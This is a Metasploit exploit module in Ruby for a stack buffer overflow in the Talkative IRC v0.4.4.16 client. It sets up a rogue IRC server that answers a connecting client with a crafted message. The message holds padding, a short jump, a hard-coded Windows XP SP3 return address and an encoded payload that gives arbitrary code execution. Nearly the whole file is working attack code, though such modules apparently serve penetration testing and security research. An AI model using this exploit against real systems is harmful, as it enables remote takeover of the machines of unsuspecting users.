##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
        When a specially crafted response string is sent to a client,
        an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '64582'],
          [ 'BID', '34141' ],
          [ 'EDB', '8227' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00\x0a\x20\x0d",
          'StackAdjustment'  => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops' => 'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',	{ 'Ret' => 0x72d1146b } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 17 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
      ])
  end

  def on_client_connect(client)
    res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
    client.put(res)
  end

  def on_client_data(client)
    return unless regenerate_payload(client)

    sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
    sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
    sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
    sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"

    client.put(sploit)

    handler
    service.close_client(client)
  end
end